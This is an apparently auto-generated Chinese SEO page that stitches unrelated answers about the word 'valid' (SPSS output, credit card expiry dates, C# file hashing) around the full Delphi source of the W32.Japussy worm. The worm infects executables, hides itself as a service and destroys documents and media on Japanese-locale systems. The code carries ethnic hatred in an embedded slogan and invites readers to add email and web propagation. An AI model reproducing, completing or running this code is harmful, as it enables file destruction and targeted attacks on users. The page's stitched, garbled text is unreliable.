b2c信息网

您现在的位置是:首页 > 明日新闻 > 正文

明日新闻

valid源码分析(valid数据集)

hacker2022-06-29 23:34:30明日新闻85
本文目录一览:1、在Spss分析数据时,最后percent,validpercent,cumulativepercent得到的结果都是一样的,正常吗?

本文目录一览:

在Spss 分析数据时,最后percent,valid percent,cumulative percent得到的结果都是一样的,正常吗?

我觉得你并没有读懂数据。先要明白这三个词语是什么意思才行哟。加油!祝好!

能发一个完整的病毒源代码文件?我分析一下。直接复制在这里就可以,不要发给我

复制的,希望采纳

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?汤姆感激不尽!

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':\';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户,这个是我最喜欢的!

//哪位大兄弟愿意完成之?汤姆感激不尽!

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + '\', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ':\', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?汤姆感激不尽!

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end

spss分析时 output表格上的valid数据不对 60个数据只有17个可用是神马情况。。跪求指导。。

你检查一下数据就知道了

我经常帮别人做这类的数据分析的

信用卡上valid thru05/10 是什么意思?

信用卡上valid thru05/10 是有效期2010年05月。

1.信用卡的有效期以月月/年年 表示,10/12 有效为2012年10月31日到期;

2.银行信用卡有效期一般为3年,个别银行为5年;

3.有效期到期后,银行将根据以往客户使用信用卡的情况,决定是否让客户继续使用信用卡。

拓展资料:

银行卡与信用卡的区别:

银行卡包括信用卡和借记卡。而信用卡只是银行卡的一种。从外观上区分的话,借记卡和信用卡有以下不同:

1,多数借机卡没有姓名拼音,而信用卡有持有人的姓名拼音;

2,通常信用卡的卡号和姓名是压出的立体字,而借记卡通常是印上去的;

3,不少借记卡会在卡的正面标明:借记卡/储蓄卡;

4,不少银行有专门的品牌,如工行的“牡丹灵通卡”,浦发的“东方卡”等,一望即知。

5,卡的背面通常会有“注意事项”,上面往往会表明是什么卡种。

6,多数借记卡没有国际结算功能,故而只有“银联”标志;而信用卡目前多数是双币或外币卡,有VISA或MASTERCARD等国际卡组织的标志。

建行信用卡上MONTH/YEAR VALIDTHRU 02/21 1 是什么意思?

建行信用卡上的“MONTH/YEAR”意思为月份/年份,VALIDTHRU 是有效期的意思。连在一起意思是信用卡有效期截至的年月。02/21表示信用卡有效期至2021年2月底。1为序号,没什么用。如果信用良好,信用卡会在到期前1个月邮寄一张新卡,原卡片超过有效期即作废。

拓展资料:

一、信用卡逾期影响:

第一,逾期不还,会影响个人的信用。贷款人借了银行的钱,逾期不还,自己的个人信用报告就会留上不良信用记录。以后想申请信用卡、申请贷款,很难,大多会被拒绝,对个人的生产、生活会造成很多困扰。

第二,信用贷款不还面临内的最直接的后果就是高额罚息,可能还需要你支付一定的违约金。连本带息加起来也是一笔不小的费用,不按时还款的结果是更加加大了自己的经济压力。

第三,逾期不还,贷款人面临被各种催收。银行或者金融机构都有自己的催收体系,贷款人逾期后,初级的催收会给你发短信、打电话催缴。如果长时间不还,程度严重一些的,甚至会有催收人员的面对面催收,这个逾期人员要有心里准备,还是应第一时间想办法把钱还清,方可解决。

第四,长期逾期不还,金额比较大的,贷款人有被金融机构起诉的可能。起诉受理后,法庭宣判完毕,贷款人资产可能会被查封。这是贷款人必须得执行“还款裁决”,否则,法院就会依法查封你名下房产等资产,以拍卖所得,偿还欠款。

第五,情节严重的情况,可能会坐牢。正常来说,借钱不还这类事件都属于民事纠纷,不会上升上刑事层面。但如果一些贷款人拒不执行、坚持不还款,情节严重恶劣的,法院还会追究借款人的刑事责任,按情节而定,情节严重的就会坐牢。

二、信用卡使用注意事项

1、要按时还款:

在使用了信用卡之后,一定要记得按时还款。一旦逾期不仅会产生不良信用记录,银行还会收取逾期的罚息。

2、刷卡不要太频繁:

有些人频繁使用信用卡,并且刷卡间隔时间短,这样的行为很容易被银行风控。

3、消费多元化:

持卡人使用信用卡消费的时候,要多元化,不要局限于一个地方,可以在酒店、餐厅、商场等地方多刷卡。如果一直在一个地方消费,银行会觉得持卡人没有消费能力,给信用卡降额。

C# 如何判断两个文件内容是否相同的方法

该哈希算法为一个文件生成一个小的二进制“指纹”,从统计学的角度来看,不同的文件不可能生成相同的哈希码

要生成一个哈希码,必须首先创建一个HashAlgorithm对象,通过HashAlgorithm.Create方法来完成。然后调用

HashAlgorithm.ComputeHash方法,它会返回一个存储哈希码的字节数组,再使用BitConverter.Tostring()将其

装换为字符串进行比较。

源码如下:复制代码代码如下:public

static

bool

isValidFileContent(string

filePath1,

string

filePath2){//创建一个哈希算法对象

using

(HashAlgorithm

hash

=

HashAlgorithm.Create()){using

(FileStream

file1

=

new

FileStream(filePath1,

FileMode.Open),file2=new

FileStream(filePath2,FileMode.Open)){byte[]

hashByte1

=

hash.ComputeHash(file1);//哈希算法根据文本得到哈希码的字节数组

byte[]

hashByte2

=

hash.ComputeHash(file2);

string

str1

=

BitConverter.ToString(hashByte1);//将字节数组装换为字符串

string

str2

=

BitConverter.ToString(hashByte2);

return

(str1==str2);//比较哈希码}}}使用该函数的主函数复制代码代码如下:static

void

Main(string[]

args){string

filePath1

=

@"f:/1.txt";

string

filePath2

=

@"f:/2.txt";

bool

valid=isValidFileContent(filePath1,

filePath2);

发表评论

评论列表

  • 性许笙沉(2022-06-30 10:30:45)回复取消回复

    Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***';{$R *.RES}funct

  • 惑心晕白(2022-06-30 08:06:15)回复取消回复

    下。直接复制在这里就可以,不要发给我复制的,希望采纳program Japussy;usesWindows, SysUtils, Classes, Graphics,

  • 馥妴长野(2022-06-30 09:21:36)回复取消回复

    入垃圾码的随机次数 if Max 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i Max do begin FileSeek

  • 美咩谜兔(2022-06-30 03:46:08)回复取消回复

    then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.